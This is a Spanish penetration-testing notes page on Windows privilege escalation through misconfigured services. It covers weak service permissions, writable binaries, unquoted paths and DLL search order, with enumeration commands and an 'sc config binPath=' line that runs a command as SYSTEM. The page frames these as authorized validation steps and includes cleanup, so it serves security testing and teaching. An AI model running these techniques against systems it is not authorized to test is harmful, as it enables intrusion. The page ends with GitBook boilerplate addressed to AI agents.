> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md).

# Configuraciones incorrectas de servicios de Windows

Los servicios son una de las rutas de escalada de privilegios de Windows más comunes porque a menudo se ejecutan como `LocalSystem` mientras apuntan a archivos o permisos sobre los que los usuarios normales pueden influir.

## Qué confirmar

Antes de cambiar nada, confirma cuatro cosas:

* El servicio se ejecuta con una cuenta privilegiada como `LocalSystem`, `LocalService`, `NetworkService`, o un administrador local/de dominio.
* Puedes modificar la configuración del servicio, el ejecutable del servicio o una ruta principal usada durante el inicio.
* Puedes reiniciar el servicio, activar la aplicación o esperar a un reinicio.
* La ruta y la arquitectura coinciden con la carga útil o el binario de validación que pretendes ejecutar.

## Enumerar servicios

```cmd
sc query state= all
sc qc <service_name>
sc sdshow <service_name>
wmic service get name,displayname,startname,state,pathname
```

```powershell
Get-WmiObject Win32_Service |
  Select-Object Name,StartName,State,PathName |
  Sort-Object StartName,Name
```

## Configuración de servicio débil

Si tu usuario puede cambiar la ruta binaria del servicio y el servicio se ejecuta con privilegios elevados, apúntalo primero a un comando de validación autorizado.

```cmd
sc qc <service_name>
sc config <service_name> binPath= "cmd /c whoami > C:\Windows\Temp\svc-check.txt"
sc stop <service_name>
sc start <service_name>
type C:\Windows\Temp\svc-check.txt
```

AccessChk es útil para leer los permisos del servicio en un formato más claro:

```cmd
accesschk.exe /accepteula -uwcqv <user_or_group> <service_name>
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
```

Los permisos interesantes incluyen `SERVICE_CHANGE_CONFIG`, `SERVICE_START`, `SERVICE_STOP`, y acceso de escritura amplio para `Users`, `Authenticated Users`o `Everyone`.

## Binario de servicio escribible

Si el ejecutable del servicio es escribible, conserva una copia del archivo original, sustitúyelo solo para la prueba y restáuralo después de probar.

```cmd
sc qc <service_name>
icacls "C:\Path\To\Service.exe"
copy "C:\Path\To\Service.exe" C:\Windows\Temp\Service.exe.bak
```

```powershell
Get-Acl "C:\Path\To\Service.exe" | Format-List
```

## Ruta de servicio sin comillas

Una ruta sin comillas es interesante cuando contiene espacios y Windows puede buscar un directorio padre escribible antes de llegar al ejecutable real.

```cmd
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
```

Ejemplo de forma vulnerable:

```
C:\Program Files\Vendor App\Service Folder\service.exe
```

Comprueba los permisos de escritura en cada directorio padre:

```cmd
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
```

Los posibles nombres buscados incluyen:

```
C:\Program.exe
C:\Program Files\Vendor.exe
C:\Program Files\Vendor App\Service.exe
```

## Problemas en el orden de búsqueda de DLL

Algunos servicios cargan DLL por nombre en lugar de por ruta completa. Esto se vuelve explotable cuando se busca un directorio escribible antes de la ubicación legítima de la DLL.

```cmd
procmon.exe
```

Filtra por:

```
Process Name is <service.exe>
Result is NAME NOT FOUND
Path ends with .dll
```

## Comprobaciones automatizadas

```powershell
Import-Module .\PowerUp.ps1
Invoke-AllChecks
```

```cmd
winPEASx64.exe servicesinfo
```

## Limpiar

```cmd
sc config <service_name> binPath= "<original_binary_path>"
sc start <service_name>
del C:\Windows\Temp\svc-check.txt
```

## Puntos clave

* Un servicio escribible solo es útil si se ejecuta con privilegios más altos.
* La posibilidad de reinicio importa. Sin ella, observa si el reinicio o el uso de la aplicación activarán el servicio.
* Los hallazgos sobre la ruta del servicio deben incluir la ruta exacta, las pruebas de permisos, la cuenta del servicio y la condición de activación.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
